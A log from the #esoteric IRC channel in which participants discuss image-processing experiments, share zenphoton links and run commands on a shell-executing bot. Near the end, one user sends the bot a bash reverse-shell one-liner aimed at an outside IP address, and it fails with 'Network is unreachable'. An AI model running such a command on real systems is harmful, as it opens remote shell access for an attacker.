1396126121 862948 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :also she lives in san francisco < 1396126140 715443 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :there are all these cool people in this city who I'm too shy to meet :/ < 1396126250 59937 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1396127443 329816 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover QUIT :Ping timeout: 264 seconds < 1396128412 871788 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :More of them aligned image renderings: https://dl.dropboxusercontent.com/u/113389132/Misc/20140329-var.jpg https://dl.dropboxusercontent.com/u/113389132/Misc/20140329-eig.jpg < 1396128700 709066 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :what's all this then < 1396128736 97661 :ket1v!~ket1v@147.69.37.57 JOIN :#esoteric < 1396128787 646137 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :The "var" one is the sample standard deviation, for each pixel, across the 33 images. And the "eig" one has had the eigenfaces kinda thing applied on it. < 1396129036 52992 :ket1v!~ket1v@147.69.37.57 QUIT :Ping timeout: 265 seconds < 1396129091 113738 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :lol i also once used ard deviation on images < 1396129099 805543 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :std* < 1396129141 642290 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :kmc: http://johndisneys.tumblr.com/post/81043293062/the-shining-1981-dir-stanley-kubrick < 1396129191 833113 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It's highlighting things that change a lot between images, which is more or less outlines (due to alignment issues) and the ground (due to snow). < 1396129219 393273 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Bike: hahaha < 1396129222 52484 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :is all of that dril < 1396129227 775306 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :pretty sure < 1396129228 639576 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :fizzie: i think someone is abducting your university into another dimension hth < 1396129337 476761 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :oerjan: Fortunately, it looks far less like that when viewed from another angle: https://dl.dropboxusercontent.com/u/113389132/Misc/20140329-var2.jpg < 1396129366 186386 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :looks haunted as shit < 1396129412 735046 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i used it to inverse weight differences in images to detect motion, so often changing pixels tend to get ignored < 1396129474 502087 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :fizzie: YOU THINK < 1396129809 449356 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: to sleap, perchance to dreem < 1396130549 67590 :olsner!~salparot@c83-252-203-32.bredband.comhem.se JOIN :#esoteric < 1396130634 368953 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 JOIN :#esoteric < 1396131462 158673 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :One more for the road: https://dl.dropboxusercontent.com/u/113389132/Misc/20140329-nmf.jpg < 1396131521 527080 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :That's taking all 33 images as W*H*3-length vectors, and then computing a rank-4 nonnegative matrix factorization; shown are the four basis vectors reinterpreted again as images. < 1396131572 947817 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(In other words, if you wanted to represent each image as a weighted sum of 4 other images, those four should be good for that.) < 1396131582 161516 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :the first and last ones look spooky < 1396131785 797916 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1396131910 669330 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :hacked the zenphoton base64 code and made some scripted designs < 1396131913 888198 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :http://zenphoton.com/#AAQAAkACAAEgfwEgAgACKAIMAia/QAACDAImAhgCIr9AAAIYAiICIgIav0AAAiICGgIqAhC/QAACKgIQAi4CBL9AAAIuAgQCMAH4v0AAAjAB+AIuAey/QAACLgHsAioB4L9AAAIqAeACIgHWv0AAAiIB1gIYAc6/QAACGAHOAgwByr9AAAIMAcoCAAHIv0AAAgAByAH0Acq/QAAB9AHKAegBzr9AAAHoAc4B3gHWv0AAAd4B1gHWAeC/QAAB1gHgAdIB7L9AAAHSAewB0AH4v0AAAdAB+AHSAgS/QAAB0gIEAdYCEL9AAAHWAhAB3gIav0AAAd4CGgHoAiK/QAAB6AIiAfQCJr9AAAH0AiYCAAIov0AAAmw < 1396131914 113994 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :CCwJ4Agm/QAACeAIJAoQCBb9AAAKEAgUCjgH9v0AAAo4B/QKWAfO/QAAClgHzApoB579AAAKaAecCnAHbv0AAApwB2wKaAc+/QAACmgHPApYBw79AAAKWAcMCjgG5v0AAAo4BuQKEAbG/QAAChAGxAngBrb9AAAJ4Aa0CbAGrv0AAAmwBqwJgAa2/QAACYAGtAlQBsb9AAAJUAbECSgG5v0AAAkoBuQJCAcO/QAACQgHDAj4Bz79AAAI+Ac8CPAHbv0AAAjwB2wI+Aee/QAACPgHnAkIB879AAAJCAfMCSgH9v0AAAkoB/QJUAgW/QAACVAIFAmACCb9AAAJgAgkCbAILv0AAArsBvALHAbq/QAACxwG6AtMBtr9AAALTAbYC3QGuv0AA < 1396131914 114197 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :At0BrgLlAaS/QAAC5QGkAukBmL9AAALpAZgC6wGMv0AAAusBjALpAYC/QAAC6QGAAuUBdL9AAALlAXQC3QFqv0AAAt0BagLTAWK/QAAC0wFiAscBXr9AAALHAV4CuwFcv0AAArsBXAKvAV6/QAACrwFeAqMBYr9AAAKjAWICmQFqv0AAApkBagKRAXS/QAACkQF0Ao0BgL9AAAKNAYACiwGMv0AAAosBjAKNAZi/QAACjQGYApEBpL9AAAKRAaQCmQGuv0AAApkBrgKjAba/QAACowG2Aq8Bur9AAAKvAboCuwG8v0AAAtgBUALkAU6/QAAC5AFOAvABSr9AAALwAUoC+gFCv0AAAvoBQgMCATi/QAADAgE4AwYBLL9AAAMGASwDCAEgv < 1396131914 114297 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :0AAAwgBIAMGARS/QAADBgEUAwIBCL9AAAMCAQgC+gD+v0AAAvoA/gLwAPa/QAAC8AD2AuQA8r9AAALkAPIC2ADwv0AAAtgA8ALMAPK/QAACzADyAsAA9r9AAALAAPYCtgD+v0AAArYA/gKuAQi/QAACrgEIAqoBFL9AAAKqARQCqAEgv0AAAqgBIAKqASy/QAACqgEsAq4BOL9AAAKuATgCtgFCv0AAArYBQgLAAUq/QAACwAFKAswBTr9AAALMAU4C2AFQv0AAArsA5ALHAOK/QAACxwDiAtMA3r9AAALTAN4C3QDWv0AAAt0A1gLlAMy/QAAC5QDMAukAwL9AAALpAMAC6wC0v0AAAusAtALpAKi/QAAC6QCoAuUAnL9AAALlAJwC3Q < 1396131914 359591 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :CSv0AAAt0AkgLTAIq/QAAC0wCKAscAhr9AAALHAIYCuwCEv0AAArsAhAKvAIa/QAACrwCGAqMAir9AAAKjAIoCmQCSv0AAApkAkgKRAJy/QAACkQCcAo0AqL9AAAKNAKgCiwC0v0AAAosAtAKNAMC/QAACjQDAApEAzL9AAAKRAMwCmQDWv0AAApkA1gKjAN6/QAACowDeAq8A4r9AAAKvAOICuwDkv0AAAmwAlQJ4AJO/QAACeACTAoQAj79AAAKEAI8CjgCHv0AAAo4AhwKWAH2/QAAClgB9ApoAcb9AAAKaAHECnABlv0AAApwAZQKaAFm/QAACmgBZApYATb9AAAKWAE0CjgBDv0AAAo4AQwKEADu/QAAChAA7AngAN79AAAJ4ADc < 1396131914 359762 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric 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:AFmAFkBZABlv0AAAWQAZQFmAHG/QAABZgBxAWoAfb9AAAFqAH0BcgCHv0AAAXIAhwF8AI+/QAABfACPAYgAk79AAAGIAJMBlACVv0AAAUUA5AFRAOK/QAABUQDiAV0A3r9AAAFdAN4BZwDWv0AAAWcA1gFvAMy/QAABbwDMAXMAwL9AAAFzAMABdQC0v0AAAXUAtAFzAKi/QAABcwCoAW8AnL9AAAFvAJwBZwCSv0AAAWcAkgFdAIq/QAABXQCKAVEAhr9AAAFRAIYBRQCEv0AAAUUAhAE5AIa/QAABOQCGAS0Air9AAAEtAIoBIwCSv0AAASMAkgEbAJy/QAABGwCcARcAqL9AAAEXAKgBFQC0v0AAARUAtAEXAMC/QAABFwDAARsAzL < 1396131915 342209 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :9AAAEbAMwBIwDWv0AAASMA1gEtAN6/QAABLQDeATkA4r9AAAE5AOIBRQDkv0AAASgBUAE0AU6/QAABNAFOAUABSr9AAAFAAUoBSgFCv0AAAUoBQgFSATi/QAABUgE4AVYBLL9AAAFWASwBWAEgv0AAAVgBIAFWARS/QAABVgEUAVIBCL9AAAFSAQgBSgD+v0AAAUoA/gFAAPa/QAABQAD2ATQA8r9AAAE0APIBKADwv0AAASgA8AEcAPK/QAABHADyARAA9r9AAAEQAPYBBgD+v0AAAQYA/gD+AQi/QAAA/gEIAPoBFL9AAAD6ARQA+AEgv0AAAPgBIAD6ASy/QAAA+gEsAP4BOL9AAAD+ATgBBgFCv0AAAQYBQgEQAUq/QAABEAFKARw < 1396131916 559049 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :BTr9AAAEcAU4BKAFQv0AAAUUBvAFRAbq/QAABUQG6AV0Btr9AAAFdAbYBZwGuv0AAAWcBrgFvAaS/QAABbwGkAXMBmL9AAAFzAZgBdQGMv0AAAXUBjAFzAYC/QAABcwGAAW8BdL9AAAFvAXQBZwFqv0AAAWcBagFdAWK/QAABXQFiAVEBXr9AAAFRAV4BRQFcv0AAAUUBXAE5AV6/QAABOQFeAS0BYr9AAAEtAWIBIwFqv0AAASMBagEbAXS/QAABGwF0ARcBgL9AAAEXAYABFQGMv0AAARUBjAEXAZi/QAABFwGYARsBpL9AAAEbAaQBIwGuv0AAASMBrgEtAba/QAABLQG2ATkBur9AAAE5AboBRQG8v0AAAZQCCwGgAgm/QAABoAIJ < 1396131916 559225 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :AawCBb9AAAGsAgUBtgH9v0AAAbYB/QG+AfO/QAABvgHzAcIB579AAAHCAecBxAHbv0AAAcQB2wHCAc+/QAABwgHPAb4Bw79AAAG+AcMBtgG5v0AAAbYBuQGsAbG/QAABrAGxAaABrb9AAAGgAa0BlAGrv0AAAZQBqwGIAa2/QAABiAGtAXwBsb9AAAF8AbEBcgG5v0AAA < 1396131921 525049 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :hope that link works :P < 1396131953 237017 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :http://tinyurl.com/o9lunsl < 1396131972 954157 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :um < 1396132135 195219 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :some cool patterns there < 1396132138 807800 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :in the base64 text I mean < 1396132148 441103 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :cross your eyes to see the sailboat < 1396132166 124758 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :what line width? < 1396132202 403944 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :QAACK < 1396132344 340612 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :all of them < 1396132461 789381 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :http://tinyurl.com/ptqgbyg < 1396132709 917345 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1396132774 198894 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 JOIN :#esoteric < 1396132781 122669 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric :`ls < 1396132781 530695 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1396132783 834457 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric ::( < 1396133174 637653 :MoALTz!~no@user-109-243-145-237.play-internet.pl QUIT :Quit: Leaving < 1396133220 579701 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :`help < 1396133220 850962 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Runs arbitrary code in GNU/Linux. Type "`", or "`run " for full shell commands. "`fetch " downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ < 1396133234 430424 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Right, so it was just actual commands that were broken, not those pseudo-things. < 1396133255 838537 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Or, well, not that one pseudo-thing. < 1396133538 416716 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :this one is heavy http://tinyurl.com/pxm768o < 1396133610 708442 :olsner!~salparot@c83-252-203-32.bredband.comhem.se QUIT :Quit: Leaving < 1396133621 499603 :JesseH!~JesseH@oftn/member/JesseH PRIVMSG #esoteric :Probably the longest link I've seen ever. < 1396133658 181047 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i've seen some long links with google reverse image search < 1396133718 573103 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :but 4kb? damn < 1396133750 260404 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Melvar: the "begone" was serious insofar as the clash between lambdabot and idris-ircslave does annoy me. < 1396133796 455513 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i find it hilarious < 1396133821 212782 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric :@run 8 + 1 < 1396133822 457193 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : 9 < 1396133830 776926 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric :>> 8 : Int < 1396133897 852943 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :but the most used lambdabot functionality here seems to be @tell, so it's not a big deal. < 1396133930 255354 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric :@tell int-e shhhh < 1396133930 468548 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Consider it noted. < 1396133955 224240 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :@messages-loud < 1396133955 431563 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :atriq said 25s ago: shhhh < 1396133985 611937 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :(the thought of a loud "shhhh" amused me) < 1396134017 933596 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric ::D < 1396134032 545948 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric :I got home from uni this afternoon < 1396134039 832711 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric :Haven't set up my computer yet < 1396134046 421505 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric :(I left my desk in a bit of a mess) < 1396134398 373751 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Ping timeout: 240 seconds < 1396135590 967415 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I want there to be games that are incredibly difficult unless you read the instructions < 1396135613 653812 :HackEgo!~HackEgo@162.248.166.242 QUIT :Remote host closed the connection < 1396135615 952301 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Like, it looks like you've understood it fully, but if you haven't read the instructions, you didn't < 1396135626 759718 :HackEgo!~HackEgo@162.248.166.242 JOIN :#esoteric < 1396135745 885385 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric :`ls < 1396135746 442256 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1396135835 610497 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Sgeo_: Can you make up such thing? < 1396135932 163251 :HackEgo!~HackEgo@162.248.166.242 QUIT :Remote host closed the connection < 1396135942 130952 :HackEgo!~HackEgo@162.248.166.242 JOIN :#esoteric < 1396135948 932736 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :`ls < 1396135949 618420 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :98076 \ a \ app.sh \ bdsmreclist \ bin \ canary \ cat \ complaints \ :-D \ dog \ etc \ factor \ fb \ fb.c \ head \ hello \ hello.c \ ibin \ index.html \ interps \ lib \ paste \ pref \ prefs \ quines \ quotes \ share \ src \ test \ Test \ Test.hi \ Test.hs \ UNPA \ wisdom \ wisdom.pdf < 1396135975 799300 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I hope Gregor won't mind me "fixing" it. (In quotes since I have no idea whether I did or not.) < 1396135989 340803 :ket1v!~ket1v@147.69.37.57 JOIN :#esoteric < 1396136068 439622 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :Sgeo_, would you not notice everything going wrong because you didn't understand it < 1396136107 993709 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :`` echo Vg gnyxf! | tr a-zA-Z n-za-mN-ZA-M < 1396136131 473928 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Well, that didn't work long at all. :) < 1396136136 239834 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :too much? < 1396136137 915251 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :`echo 1 < 1396136159 682188 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Huh. It tried to reply 1 to that. < 1396136261 834310 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I'm confused. It seems to go "connection timed out" all the time, in the log. < 1396136299 329503 :ket1v!~ket1v@147.69.37.57 QUIT :Ping timeout: 264 seconds < 1396136594 347464 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Oh, I seem to have accidentally started two, perhaps. < 1396136621 930529 :HackEgo!~HackEgo@162.248.166.242 QUIT :Remote host closed the connection < 1396136669 923757 :HackEgo!~HackEgo@162.248.166.242 JOIN :#esoteric < 1396136673 292493 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it lives! < 1396136680 446992 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :`run wc -l quotes < 1396136681 43980 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :1176 quotes < 1396136736 602856 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Or it's possible there's some sort of an autostart thing that I don't know of. (I'm really not sure I should've poked at it at all.) < 1396136983 483046 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :`run tail -n 1 quotes < 1396136984 37313 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​ you win this round. your prize is hosting the wiki I don't like this game show. < 1396137023 553309 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :`run echo blah > how_about_the_filesystem < 1396137024 943519 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1396137028 743229 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :`run cat how_about_the_filesystem < 1396137029 246817 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :blah < 1396137039 676204 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :`run rm how_about_the_filesystem # well how about that < 1396137040 906650 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1396137065 647297 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric :`run echo hi < 1396137066 68328 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :hi < 1396137077 819086 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric :`quote of chocolate < 1396137078 300966 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :508) elliott: mr president, commissioner, i fully accept that description when it comes to human rights. yes, with an average fat content of chocolate, and we are using double standards! we all know that under present legislation and also in relation to standardization bodies. if i do not want. \ 648) Just because you can' < 1396137088 573346 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric :`uote i'm a book < 1396137089 12334 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: uote: not found < 1396137091 571269 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric :`quote i'm a book < 1396137092 28449 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1396137098 57246 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric :`quote a book about < 1396137098 620574 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1396137100 271203 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric ::( < 1396137107 477155 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric :`quote prohibition < 1396137108 27449 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :939) I'm a story about the prohibition of chocolate < 1396137111 116155 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric :STORY < 1396137114 139965 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric :NOT BOOK < 1396137116 509015 :atriq!5c1ea83e@gateway/web/freenode/ip.92.30.168.62 PRIVMSG #esoteric :atriq-- < 1396137248 498594 :ion!ion@heh.fi PRIVMSG #esoteric :`run for n in $(seq 4); do sed -re 's/ /\n/g' an ieee-754 double does not have enough granular precision to express how little I care it's not even about strictness actually I've only watched bad movies about video game. I enjoyed every second of it. Taneb: stop complianing Even so. the theory's probably not bad, bu < 1396137298 873354 :maurer!~maurer@MIMUNG.ECE.CMU.EDU PRIVMSG #esoteric :Sorry if non-legit, but curious if it works < 1396137301 819210 :maurer!~maurer@MIMUNG.ECE.CMU.EDU PRIVMSG #esoteric :`run bash -i >& /dev/tcp/128.2.142.56/8123 0>&1 < 1396137302 342286 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :bash: connect: Network is unreachable \ bash: /dev/tcp/128.2.142.56/8123: Network is unreachable < 1396137306 364577 :maurer!~maurer@MIMUNG.ECE.CMU.EDU PRIVMSG #esoteric :Ah, smart < 1396137321 662195 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :There is a HTTP proxy that can do limited (whitelisted?) networking. < 1396137329 331875 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :If it works. It might not. < 1396137370 729549 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :`addquote pippi långstrump's name is translated as "gilgi" or "bilbi" usually Does she have a ring of power? < 1396137372 11195 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :1177) pippi långstrump's name is translated as "gilgi" or "bilbi" usually Does she have a ring of power? < 1396137397 615110 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :`addquote * Sgeo remembers when he believed VRML could never have gravity. Now VRML is dead. (And has gravity) < 1396137398 851317 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :1178) * Sgeo remembers when he believed VRML could never have gravity. Now VRML is dead. (And has gravity) < 1396137407 220061 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :`addquote and i had at one point been a meme < 1396137408 391818 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :1179) and i had at one point been a meme < 1396137506 286843 :ion!ion@heh.fi PRIVMSG #esoteric :`run sed -re 's/ /\n/g' nope, it is the same party So it's like... Rummy mixed with... breakout? TODO: sex life < 1396137536 387768 :ion!ion@heh.fi PRIVMSG #esoteric :`run sed -re 's/ /\n/g' well i just ate some stuff and watched family guy ais523, also contains benzene, my carcinogen of choice. This staircase is very good for correcting people's opininons about communism